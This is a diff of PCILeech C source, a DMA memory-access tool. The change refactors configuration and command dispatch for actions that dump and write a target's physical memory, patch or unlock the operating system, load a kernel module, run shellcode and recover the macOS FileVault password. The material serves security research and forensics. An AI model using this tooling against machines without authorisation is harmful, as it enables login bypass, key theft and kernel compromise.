* Dump physical memory to file. The USB3380 card may only dump the lower 4GB
|
||||
* in default DMA mode due to hardware limitations. If a kernel module (KMD) is
|
||||
* inserted in the target computer OS kernel all memory may be dumped.
|
||||
* -- pCfg = configuration containing dump regions, file name and more info.
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionMemoryDump(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Write data to the physical memory. The USB3380 may only write to the lower
|
||||
* 4GB in default DMA mode due to hardware limitations. If a kernel module (KMD)
|
||||
* is inserted in the target computer OS any kernel accessable memory can be
|
||||
* written/updated.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionMemoryWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionMemoryWrite(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Tries to read a page 1000 times from the address specified in the min parameter
|
||||
* in pCfg. If memory is changed the result will be flagged.
|
||||
* After a read an optional 100 write/read cycles will be completed to test write.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionMemoryTestReadWrite(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Print out the contents of the 1st readable page. The address specified in the
|
||||
* min parameter in pCfg.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionMemoryPageDisplay(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __MEMDUMP_H__ */
|
||||
@@ -1,6 +1,6 @@
|
||||
// mempatch.c : implementation related to operating systems unlock/patch functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "mempatch.h"
|
||||
@@ -65,29 +65,29 @@ BOOL Patch_FindAndPatch(_Inout_ PBYTE pbPage, _In_ PSIGNATURE pSignatures, _In_
|
||||
|
||||
#define MAX_NUM_PATCH_LOCATIONS 0x100
|
||||
|
||||
VOID ActionPatchAndSearch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionPatchAndSearch(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES];
|
||||
DWORD dwoPatch, cbPatch, cSignatures = CONFIG_MAX_SIGNATURES;
|
||||
QWORD qwAddrBase;
|
||||
PBYTE pbBuffer16M = LocalAlloc(0, 0x01000000);
|
||||
PAGE_STATISTICS pageStat;
|
||||
BOOL result, isModePatch = pCfg->tpAction == PATCH;
|
||||
BOOL result, isModePatch = ctx->cfg->tpAction == PATCH;
|
||||
LPSTR szAction = isModePatch ? "Patch" : "Search";
|
||||
QWORD i, qwoPages, qwPatchList[MAX_NUM_PATCH_LOCATIONS], cPatchList = 0;
|
||||
// initialize / allocate memory
|
||||
qwAddrBase = pCfg->qwAddrMin;
|
||||
qwAddrBase = ctx->cfg->qwAddrMin;
|
||||
if(!pbBuffer16M) { return; }
|
||||
if(pCfg->qwAddrMax < qwAddrBase + 0xfff) {
|
||||
if(ctx->cfg->qwAddrMax < qwAddrBase + 0xfff) {
|
||||
printf("%s: Failed. Zero or negative memory range specified.\n", szAction);
|
||||
goto cleanup;
|
||||
}
|
||||
// load and verify signatures
|
||||
if(pCfg->cbIn) {
|
||||
Util_CreateSignatureSearchAll(pCfg->pbIn, (DWORD)pCfg->cbIn, oSignatures);
|
||||
if(ctx->cfg->cbIn) {
|
||||
Util_CreateSignatureSearchAll(ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn, oSignatures);
|
||||
cSignatures = 1;
|
||||
} else {
|
||||
result = Util_LoadSignatures(pCfg->szSignatureName, ".sig", oSignatures, &cSignatures, 3);
|
||||
result = Util_LoadSignatures(ctx->cfg->szSignatureName, ".sig", oSignatures, &cSignatures, 3);
|
||||
if(!result || !cSignatures) {
|
||||
printf("%s: Failed. Failed to load signature.\n", szAction);
|
||||
goto cleanup;
|
||||
@@ -101,21 +101,21 @@ VOID ActionPatchAndSearch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
}
|
||||
}
|
||||
// loop patch / unlock
|
||||
PageStatInitialize(&pageStat, qwAddrBase, pCfg->qwAddrMax, isModePatch ? "Patching" : "Searching", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose);
|
||||
for(; qwAddrBase < pCfg->qwAddrMax; qwAddrBase += 0x01000000) {
|
||||
result = Util_Read16M(pCfg, pDeviceData, pbBuffer16M, qwAddrBase, &pageStat);
|
||||
if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) {
|
||||
PageStatInitialize(&pageStat, qwAddrBase, ctx->cfg->qwAddrMax, isModePatch ? "Patching" : "Searching", ctx->phKMD ? TRUE : FALSE, ctx->cfg->fVerbose);
|
||||
for(; qwAddrBase < ctx->cfg->qwAddrMax; qwAddrBase += 0x01000000) {
|
||||
result = Util_Read16M(ctx, pbBuffer16M, qwAddrBase, &pageStat);
|
||||
if(!result && !ctx->cfg->fForceRW && !ctx->phKMD) {
|
||||
PageStatClose(&pageStat);
|
||||
printf("%s: Failed. Cannot dump any sequential data in 16MB - terminating.\n", szAction);
|
||||
goto cleanup;
|
||||
}
|
||||
for(qwoPages = 0; (qwoPages < 0x01000000) && (qwAddrBase + qwoPages < pCfg->qwAddrMax); qwoPages += 0x1000) {
|
||||
for(qwoPages = 0; (qwoPages < 0x01000000) && (qwAddrBase + qwoPages < ctx->cfg->qwAddrMax); qwoPages += 0x1000) {
|
||||
result = Patch_FindAndPatch(pbBuffer16M + qwoPages, oSignatures, cSignatures, &dwoPatch, &cbPatch);
|
||||
if(!result) {
|
||||
continue;
|
||||
}
|
||||
if(isModePatch) {
|
||||
result = DeviceWriteMEM(pDeviceData, qwAddrBase + qwoPages + dwoPatch, pbBuffer16M + qwoPages + dwoPatch, cbPatch, 0);
|
||||
result = DeviceWriteMEM(ctx, qwAddrBase + qwoPages + dwoPatch, pbBuffer16M + qwoPages + dwoPatch, cbPatch, 0);
|
||||
}
|
||||
if(result) {
|
||||
if(cPatchList == MAX_NUM_PATCH_LOCATIONS) {
|
||||
@@ -130,7 +130,7 @@ VOID ActionPatchAndSearch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
printf("%s: Failed. Write memory failed. Location: 0x%llx\n", szAction, qwAddrBase + qwoPages + dwoPatch);
|
||||
goto cleanup;
|
||||
}
|
||||
if(!pCfg->fPatchAll) {
|
||||
if(!ctx->cfg->fPatchAll) {
|
||||
PageStatClose(&pageStat);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// mempatch.h : definitions related to memory patch / operating system unlock functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __MEMPATCH_H__
|
||||
@@ -10,9 +10,8 @@
|
||||
/*
|
||||
* Patch the memory of the target system. Alternatively search the memory of the
|
||||
* target system. This includes the unlock operating system functionality.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionPatchAndSearch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionPatchAndSearch(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __MEMPATCH_H__ */
|
||||
@@ -4,8 +4,9 @@
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "pcileech.h"
|
||||
#include "cpuflash.h"
|
||||
#include "device.h"
|
||||
#include "device3380.h"
|
||||
#include "device605.h"
|
||||
#include "executor.h"
|
||||
#include "extra.h"
|
||||
#include "help.h"
|
||||
@@ -15,7 +16,7 @@
|
||||
#include "kmd.h"
|
||||
#include "vfs.h"
|
||||
|
||||
HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
|
||||
BOOL PCILeechInitializeConfig(_In_ DWORD argc, _In_ char* argv[], _Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
struct ACTION {
|
||||
ACTION_TYPE tp;
|
||||
@@ -29,210 +30,262 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
|
||||
{.tp = SEARCH,.sz = "search" },
|
||||
{.tp = KMDLOAD,.sz = "kmdload" },
|
||||
{.tp = KMDEXIT,.sz = "kmdexit" },
|
||||
{.tp = FLASH,.sz = "flash" },
|
||||
{.tp = USB3380_FLASH,.sz = "flash" },
|
||||
{.tp = MOUNT,.sz = "mount" },
|
||||
{.tp = START8051,.sz = "8051start" },
|
||||
{.tp = STOP8051,.sz = "8051stop" },
|
||||
{.tp = USB3380_START8051,.sz = "8051start" },
|
||||
{.tp = USB3380_STOP8051,.sz = "8051stop" },
|
||||
{.tp = PAGEDISPLAY,.sz = "pagedisplay" },
|
||||
{.tp = TESTMEMREAD,.sz = "testmemread" },
|
||||
{.tp = TESTMEMREADWRITE,.sz = "testmemreadwrite" },
|
||||
{.tp = MAC_FVRECOVER,.sz = "mac_fvrecover" },
|
||||
{.tp = MAC_FVRECOVER2,.sz = "mac_fvrecover2" },
|
||||
{.tp = MAC_DISABLE_VTD,.sz = "mac_disablevtd" },
|
||||
{.tp = PT_PHYS2VIRT,.sz = "pt_phys2virt" },
|
||||
{.tp = TLP,.sz = "tlp" },
|
||||
};
|
||||
QWORD qw;
|
||||
DWORD j, i = 1;
|
||||
if(argc < 2) {
|
||||
return E_FAIL;
|
||||
}
|
||||
if(argc < 2) { return FALSE; }
|
||||
// allocate memory for config struct
|
||||
ctx->cfg = LocalAlloc(LMEM_ZEROINIT, sizeof(CONFIG));
|
||||
if(!ctx->cfg) { return FALSE; }
|
||||
// set defaults
|
||||
pCfg->tpAction = NA;
|
||||
pCfg->qwAddrMax = 0x0ffffffffffffffff;
|
||||
pCfg->fOutFile = TRUE;
|
||||
pCfg->qwMaxSizeDmaIo = 0x00800000;
|
||||
ctx->cfg->tpAction = NA;
|
||||
ctx->cfg->qwAddrMax = ~0;
|
||||
ctx->cfg->fOutFile = TRUE;
|
||||
ctx->cfg->qwMaxSizeDmaIo = ~0;
|
||||
ctx->cfg->tpDevice = PCILEECH_DEVICE_USB3380;
|
||||
// fetch command line actions/options
|
||||
loop:
|
||||
while(i < argc) {
|
||||
for(j = 0; j < sizeof(ACTIONS) / sizeof(ACTION); j++) { // parse command (if found)
|
||||
if(0 == strcmp(argv[i], ACTIONS[j].sz)) {
|
||||
pCfg->tpAction = ACTIONS[j].tp;
|
||||
ctx->cfg->tpAction = ACTIONS[j].tp;
|
||||
i++;
|
||||
goto loop;
|
||||
}
|
||||
}
|
||||
if(pCfg->tpAction == NA && 0 != memcmp(argv[i], "-", 1)) {
|
||||
pCfg->tpAction = EXEC;
|
||||
strcpy_s(pCfg->szShellcodeName, MAX_PATH, argv[i]);
|
||||
if(ctx->cfg->tpAction == NA && 0 != memcmp(argv[i], "-", 1)) {
|
||||
ctx->cfg->tpAction = EXEC;
|
||||
strcpy_s(ctx->cfg->szShellcodeName, MAX_PATH, argv[i]);
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
// parse options (command not found)
|
||||
if(0 == strcmp(argv[i], "-pt")) {
|
||||
pCfg->fPageTableScan = TRUE;
|
||||
ctx->cfg->fPageTableScan = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == strcmp(argv[i], "-all")) {
|
||||
pCfg->fPatchAll = TRUE;
|
||||
ctx->cfg->fPatchAll = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == strcmp(argv[i], "-force")) {
|
||||
pCfg->fForceRW = TRUE;
|
||||
ctx->cfg->fForceRW = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == strcmp(argv[i], "-help")) {
|
||||
pCfg->fShowHelp = TRUE;
|
||||
ctx->cfg->fShowHelp = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == _stricmp(argv[i], "-usb2")) {
|
||||
pCfg->fForceUsb2 = TRUE;
|
||||
ctx->cfg->fForceUsb2 = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == _stricmp(argv[i], "-v")) {
|
||||
pCfg->fVerbose = TRUE;
|
||||
ctx->cfg->fVerbose = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(0 == _stricmp(argv[i], "-vv")) {
|
||||
ctx->cfg->fVerbose = TRUE;
|
||||
ctx->cfg->fVerboseExtra = TRUE;
|
||||
i++;
|
||||
continue;
|
||||
} else if(i + 1 >= argc) {
|
||||
return E_FAIL;
|
||||
return FALSE;
|
||||
} else if(0 == strcmp(argv[i], "-min")) {
|
||||
pCfg->qwAddrMin = Util_GetNumeric(argv[i + 1]);
|
||||
ctx->cfg->qwAddrMin = Util_GetNumeric(argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-max")) {
|
||||
pCfg->qwAddrMax = Util_GetNumeric(argv[i + 1]);
|
||||
ctx->cfg->qwAddrMax = Util_GetNumeric(argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-cr3")) {
|
||||
pCfg->qwCR3 = Util_GetNumeric(argv[i + 1]);
|
||||
ctx->cfg->qwCR3 = Util_GetNumeric(argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-iosize")) {
|
||||
pCfg->qwMaxSizeDmaIo = Util_GetNumeric(argv[i + 1]);
|
||||
ctx->cfg->qwMaxSizeDmaIo = Util_GetNumeric(argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-wait")) {
|
||||
ctx->cfg->qwWaitBeforeExit = Util_GetNumeric(argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-device")) {
|
||||
ctx->cfg->tpDevice = PCILEECH_DEVICE_NA;
|
||||
if(0 == _stricmp(argv[i + 1], "usb3380")) {
|
||||
ctx->cfg->tpDevice = PCILEECH_DEVICE_USB3380;
|
||||
} else if(0 == _stricmp(argv[i + 1], "sp605")) {
|
||||
ctx->cfg->tpDevice = PCILEECH_DEVICE_SP605;
|
||||
}
|
||||
} else if(0 == strcmp(argv[i], "-out")) {
|
||||
if((0 == _stricmp(argv[i + 1], "none")) || (0 == _stricmp(argv[i + 1], "null"))) {
|
||||
pCfg->fOutFile = FALSE;
|
||||
ctx->cfg->fOutFile = FALSE;
|
||||
} else {
|
||||
strcpy_s(pCfg->szFileOut, MAX_PATH, argv[i + 1]);
|
||||
strcpy_s(ctx->cfg->szFileOut, MAX_PATH, argv[i + 1]);
|
||||
}
|
||||
} else if(0 == strcmp(argv[i], "-in")) {
|
||||
if(!Util_ParseHexFileBuiltin(argv[i + 1], pCfg->pbIn, CONFIG_MAX_INSIZE, (PDWORD)&pCfg->cbIn)) { return E_FAIL; }
|
||||
if(!Util_ParseHexFileBuiltin(argv[i + 1], ctx->cfg->pbIn, CONFIG_MAX_INSIZE, (PDWORD)&ctx->cfg->cbIn)) { return FALSE; }
|
||||
} else if(0 == strcmp(argv[i], "-s")) {
|
||||
strcpy_s(pCfg->szInS, MAX_PATH, argv[i + 1]);
|
||||
strcpy_s(ctx->cfg->szInS, MAX_PATH, argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-sig")) {
|
||||
strcpy_s(pCfg->szSignatureName, MAX_PATH, argv[i + 1]);
|
||||
strcpy_s(ctx->cfg->szSignatureName, MAX_PATH, argv[i + 1]);
|
||||
} else if(0 == strcmp(argv[i], "-kmd")) {
|
||||
pCfg->qwKMD = strtoull(argv[i + 1], NULL, 16);
|
||||
if(pCfg->qwKMD < 0x1000) {
|
||||
strcpy_s(pCfg->szKMDName, MAX_PATH, argv[i + 1]);
|
||||
ctx->cfg->qwKMD = strtoull(argv[i + 1], NULL, 16);
|
||||
if(ctx->cfg->qwKMD < 0x1000) {
|
||||
strcpy_s(ctx->cfg->szKMDName, MAX_PATH, argv[i + 1]);
|
||||
}
|
||||
} else if(2 == strlen(argv[i]) && '0' <= argv[i][1] && '9' >= argv[i][1]) { // -0..9 param
|
||||
pCfg->qwDataIn[argv[i][1] - '0'] = Util_GetNumeric(argv[i + 1]);
|
||||
ctx->cfg->qwDataIn[argv[i][1] - '0'] = Util_GetNumeric(argv[i + 1]);
|
||||
}
|
||||
i += 2;
|
||||
}
|
||||
// try correct erroneous options, if needed
|
||||
if(pCfg->tpAction == NA) {
|
||||
return E_FAIL;
|
||||
if((ctx->cfg->tpAction == NA) || (ctx->cfg->tpDevice == PCILEECH_DEVICE_NA)) {
|
||||
return FALSE;
|
||||
}
|
||||
if(!pCfg->szKMDName[0] && !pCfg->qwKMD) { // no KMD => 32-bit addressing => 4GiB
|
||||
if(pCfg->qwAddrMax == 0 || pCfg->qwAddrMax > 0xffffffff) {
|
||||
pCfg->qwAddrMax = 0xffffffff;
|
||||
// device specific configuration
|
||||
if(ctx->cfg->tpDevice == PCILEECH_DEVICE_USB3380) {
|
||||
ctx->cfg->qwAddrMaxDeviceNative = 0xffffffff;
|
||||
ctx->cfg->qwMaxSizeDmaIo = min(0x01000000, ctx->cfg->qwMaxSizeDmaIo);
|
||||
}
|
||||
if(ctx->cfg->tpDevice == PCILEECH_DEVICE_SP605) {
|
||||
ctx->cfg->qwAddrMaxDeviceNative = 0x0000ffffffffffff;
|
||||
ctx->cfg->qwMaxSizeDmaIo = min(0x00004000, ctx->cfg->qwMaxSizeDmaIo);
|
||||
ctx->cfg->fPartialPageReadSupported = TRUE;
|
||||
}
|
||||
// no kmd -> max address == max address that device support
|
||||
if(!ctx->cfg->szKMDName[0] && !ctx->cfg->qwKMD) {
|
||||
if(ctx->cfg->qwAddrMax == 0 || ctx->cfg->qwAddrMax > ctx->cfg->qwAddrMaxDeviceNative) {
|
||||
ctx->cfg->qwAddrMax = ctx->cfg->qwAddrMaxDeviceNative;
|
||||
}
|
||||
}
|
||||
if(pCfg->qwAddrMin > pCfg->qwAddrMax) {
|
||||
qw = pCfg->qwAddrMin;
|
||||
pCfg->qwAddrMin = pCfg->qwAddrMax;
|
||||
pCfg->qwAddrMax = qw;
|
||||
// fixup addresses
|
||||
if(ctx->cfg->qwAddrMin > ctx->cfg->qwAddrMax) {
|
||||
qw = ctx->cfg->qwAddrMin;
|
||||
ctx->cfg->qwAddrMin = ctx->cfg->qwAddrMax;
|
||||
ctx->cfg->qwAddrMax = qw;
|
||||
}
|
||||
pCfg->qwCR3 &= ~0xfff;
|
||||
pCfg->qwKMD &= ~0xfff;
|
||||
return S_OK;
|
||||
ctx->cfg->qwCR3 &= ~0xfff;
|
||||
ctx->cfg->qwKMD &= ~0xfff;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID PCILeechFreeContext(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
if(!ctx) { return; }
|
||||
KMDClose(ctx);
|
||||
DeviceClose(ctx);
|
||||
if(ctx->cfg) { LocalFree(ctx->cfg); }
|
||||
if(ctx) { LocalFree(ctx); }
|
||||
}
|
||||
|
||||
int main(_In_ int argc, _In_ char* argv[])
|
||||
{
|
||||
HRESULT hr;
|
||||
BOOL result;
|
||||
PCONFIG pCfg;
|
||||
DEVICE_DATA device;
|
||||
PKMDEXEC pKmdExec = NULL;
|
||||
PPCILEECH_CONTEXT ctx;
|
||||
printf("\n");
|
||||
if(!(pCfg = LocalAlloc(LMEM_ZEROINIT, sizeof(CONFIG)))) {
|
||||
ctx = LocalAlloc(LMEM_ZEROINIT, sizeof(PCILEECH_CONTEXT));
|
||||
if(!ctx) {
|
||||
printf("PCILEECH: Out of memory.\n");
|
||||
return 1;
|
||||
}
|
||||
hr = ParseCmdLine((DWORD)argc, argv, pCfg);
|
||||
if(FAILED(hr)) {
|
||||
Help_ShowGeneral();
|
||||
return 1;
|
||||
}
|
||||
if(pCfg->tpAction == EXEC && !Util_LoadKmdExecShellcode(pCfg->szShellcodeName, &pKmdExec)) {
|
||||
LocalFree(pKmdExec);
|
||||
Help_ShowGeneral();
|
||||
return 1;
|
||||
}
|
||||
if(pCfg->tpAction == INFO) {
|
||||
Help_ShowInfo();
|
||||
return 0;
|
||||
}
|
||||
if(pCfg->fShowHelp) {
|
||||
Help_ShowDetailed(pCfg);
|
||||
return 0;
|
||||
}
|
||||
result = DeviceOpen(pCfg, &device);
|
||||
//LPSTR szTMP[] = { "", "pt_phys2virt", "-kmd", "0x7fffe000", "-cr3", "0x1b8000", "-0", "0xd6c08000"};
|
||||
//LPSTR szTMP[] = { "", "mount", "-kmd", "win10_x64"};
|
||||
//LPSTR szTMP[] = { "", "pagedisplay", "-min", "0x0", "-device", "sp605", "-vv"};
|
||||
//LPSTR szTMP[] = { "", "write", "-min", "0x1ff0", "-in", "ffffffff", "-device", "sp605", "-vv"};
|
||||
//result = PCILeechInitializeConfig(sizeof(szTMP) / sizeof(LPSTR), szTMP, ctx);
|
||||
result = PCILeechInitializeConfig((DWORD)argc, argv, ctx);
|
||||
if(!result) {
|
||||
printf("PCILEECH: Failed to connect to USB device.\n");
|
||||
return 1;
|
||||
Help_ShowGeneral();
|
||||
PCILeechFreeContext(ctx);
|
||||
return FALSE;
|
||||
}
|
||||
if(pCfg->szKMDName[0] || pCfg->qwKMD) {
|
||||
result = KMDOpen(pCfg, &device);
|
||||
if(ctx->cfg->tpAction == EXEC) {
|
||||
result = Util_LoadKmdExecShellcode(ctx->cfg->szShellcodeName, &pKmdExec);
|
||||
LocalFree(pKmdExec);
|
||||
if(!result) {
|
||||
printf("PCILEECH: Failed to load kernel module.\n");
|
||||
Help_ShowGeneral();
|
||||
PCILeechFreeContext(ctx);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if(pCfg->tpAction == DUMP) {
|
||||
ActionMemoryDump(pCfg, &device);
|
||||
} else if(pCfg->tpAction == WRITE) {
|
||||
ActionMemoryWrite(pCfg, &device);
|
||||
} else if(pCfg->tpAction == PAGEDISPLAY) {
|
||||
ActionMemoryPageDisplay(pCfg, &device);
|
||||
} else if(pCfg->tpAction == PATCH) {
|
||||
ActionPatchAndSearch(pCfg, &device);
|
||||
} else if(pCfg->tpAction == SEARCH) {
|
||||
ActionPatchAndSearch(pCfg, &device);
|
||||
} else if(pCfg->tpAction == FLASH) {
|
||||
ActionFlash(pCfg, &device);
|
||||
} else if(pCfg->tpAction == START8051) {
|
||||
Action8051Start(pCfg, &device);
|
||||
} else if(pCfg->tpAction == STOP8051) {
|
||||
Action8051Stop(pCfg, &device);
|
||||
} else if(pCfg->tpAction == EXEC) {
|
||||
ActionExecShellcode(pCfg, &device);
|
||||
} else if(pCfg->tpAction == TESTMEMREAD || pCfg->tpAction == TESTMEMREADWRITE) {
|
||||
ActionMemoryTestReadWrite(pCfg, &device);
|
||||
} else if(pCfg->tpAction == MAC_FVRECOVER) {
|
||||
Action_MacFilevaultRecover(pCfg, &device);
|
||||
} else if(pCfg->tpAction == PT_PHYS2VIRT) {
|
||||
Action_PT_Phys2Virt(pCfg, &device);
|
||||
} else if(pCfg->tpAction == MOUNT) {
|
||||
//ActionMount(pCfg, &device);
|
||||
} else if(pCfg->tpAction == KMDLOAD) {
|
||||
if(pCfg->qwKMD) {
|
||||
printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)pCfg->qwKMD);
|
||||
// actions that do not require a working initialized connection to a pcileech
|
||||
// device to start executing the command are found below:
|
||||
if(ctx->cfg->tpAction == INFO || ctx->cfg->tpAction == MAC_FVRECOVER2 || ctx->cfg->tpAction == MAC_DISABLE_VTD || ctx->cfg->fShowHelp) {
|
||||
if(ctx->cfg->tpAction == INFO) {
|
||||
Help_ShowInfo();
|
||||
} else if(ctx->cfg->tpAction == MAC_FVRECOVER2) {
|
||||
Action_MacFilevaultRecover(ctx, FALSE);
|
||||
} else if(ctx->cfg->tpAction == MAC_DISABLE_VTD) {
|
||||
Action_MacDisableVtd(ctx);
|
||||
} else if(ctx->cfg->fShowHelp) {
|
||||
Help_ShowDetailed(ctx->cfg);
|
||||
}
|
||||
PCILeechFreeContext(ctx);
|
||||
return 0;
|
||||
}
|
||||
result = DeviceOpen(ctx);
|
||||
if(!result) {
|
||||
printf("PCILEECH: Failed to connect to USB device.\n");
|
||||
PCILeechFreeContext(ctx);
|
||||
return 1;
|
||||
}
|
||||
if(ctx->cfg->szKMDName[0] || ctx->cfg->qwKMD) {
|
||||
result = KMDOpen(ctx);
|
||||
if(!result) {
|
||||
printf("PCILEECH: Failed to load kernel module.\n");
|
||||
PCILeechFreeContext(ctx);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if(ctx->cfg->tpAction == DUMP) {
|
||||
ActionMemoryDump(ctx);
|
||||
} else if(ctx->cfg->tpAction == WRITE) {
|
||||
ActionMemoryWrite(ctx);
|
||||
} else if(ctx->cfg->tpAction == PAGEDISPLAY) {
|
||||
ActionMemoryPageDisplay(ctx);
|
||||
} else if(ctx->cfg->tpAction == PATCH) {
|
||||
ActionPatchAndSearch(ctx);
|
||||
} else if(ctx->cfg->tpAction == SEARCH) {
|
||||
ActionPatchAndSearch(ctx);
|
||||
} else if(ctx->cfg->tpAction == USB3380_FLASH) {
|
||||
Action_Device3380_Flash(ctx);
|
||||
} else if(ctx->cfg->tpAction == USB3380_START8051) {
|
||||
Action_Device3380_8051Start(ctx);
|
||||
} else if(ctx->cfg->tpAction == USB3380_STOP8051) {
|
||||
Action_Device3380_8051Stop(ctx);
|
||||
} else if(ctx->cfg->tpAction == EXEC) {
|
||||
ActionExecShellcode(ctx);
|
||||
} else if(ctx->cfg->tpAction == TESTMEMREAD || ctx->cfg->tpAction == TESTMEMREADWRITE) {
|
||||
ActionMemoryTestReadWrite(ctx);
|
||||
} else if(ctx->cfg->tpAction == MAC_FVRECOVER) {
|
||||
Action_MacFilevaultRecover(ctx, TRUE);
|
||||
} else if(ctx->cfg->tpAction == PT_PHYS2VIRT) {
|
||||
Action_PT_Phys2Virt(ctx);
|
||||
} else if(ctx->cfg->tpAction == TLP) {
|
||||
Action_Device605_TlpTx(ctx);
|
||||
} else if(ctx->cfg->tpAction == MOUNT) {
|
||||
ActionMount(ctx);
|
||||
} else if(ctx->cfg->tpAction == KMDLOAD) {
|
||||
if(ctx->cfg->qwKMD) {
|
||||
printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)ctx->cfg->qwKMD);
|
||||
} else {
|
||||
printf("KMD: Failed. Please supply valid -kmd and optionally -cr3 parameters.\n");
|
||||
}
|
||||
} else if(pCfg->tpAction == KMDEXIT) {
|
||||
if(device.KMDHandle) {
|
||||
KMDClose(&device);
|
||||
printf("KMD: Hopefully unloaded.\n");
|
||||
}
|
||||
else {
|
||||
printf("KMD: Failed. Cannot unload KMD - not found!.\n");
|
||||
}
|
||||
} else if(ctx->cfg->tpAction == KMDEXIT) {
|
||||
KMDUnload(ctx);
|
||||
printf("KMD: Hopefully unloaded.\n");
|
||||
} else {
|
||||
printf("Failed. Not yet implemented.\n");
|
||||
}
|
||||
if(!pCfg->qwKMD) {
|
||||
KMDClose(&device);
|
||||
if(!ctx->cfg->qwKMD) {
|
||||
KMDUnload(ctx);
|
||||
}
|
||||
DeviceClose(&device);
|
||||
LocalFree(pCfg);
|
||||
Sleep(1000 * (DWORD)ctx->cfg->qwWaitBeforeExit);
|
||||
PCILeechFreeContext(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -22,38 +22,7 @@
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef QWORD near *PQWORD;
|
||||
|
||||
// Device Interface GUID. Must match "DeviceInterfaceGUIDs" registry value specified in the INF file.
|
||||
// F72FE0D4-CBCB-407d-8814-9ED673D0DD6B
|
||||
DEFINE_GUID(GUID_DEVINTERFACE_android, 0xF72FE0D4, 0xCBCB, 0x407d, 0x88, 0x14, 0x9E, 0xD6, 0x73, 0xD0, 0xDD, 0x6B);
|
||||
|
||||
typedef struct _DEVICE_DATA {
|
||||
BOOL HandlesOpen;
|
||||
BOOL IsAllowedMultiThreadDMA;
|
||||
BOOL IsAllowedAccessReservedAddress;
|
||||
QWORD MaxSizeDmaIo;
|
||||
WINUSB_INTERFACE_HANDLE WinusbHandle;
|
||||
HANDLE DeviceHandle;
|
||||
WCHAR DevicePath[MAX_PATH];
|
||||
UCHAR PipePciIn;
|
||||
UCHAR PipePciOut;
|
||||
UCHAR PipeCsrIn;
|
||||
UCHAR PipeCsrOut;
|
||||
UCHAR PipeDmaOut; //GPEP0
|
||||
UCHAR PipeDmaIn1; //GPEP1
|
||||
UCHAR PipeDmaIn2; //GPEP2
|
||||
UCHAR PipeDmaIn3; //GPEP3
|
||||
HANDLE KMDHandle;
|
||||
} DEVICE_DATA, *PDEVICE_DATA;
|
||||
|
||||
#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */
|
||||
typedef struct tdPipeSendCsrWrite {
|
||||
UCHAR u1;
|
||||
UCHAR u2;
|
||||
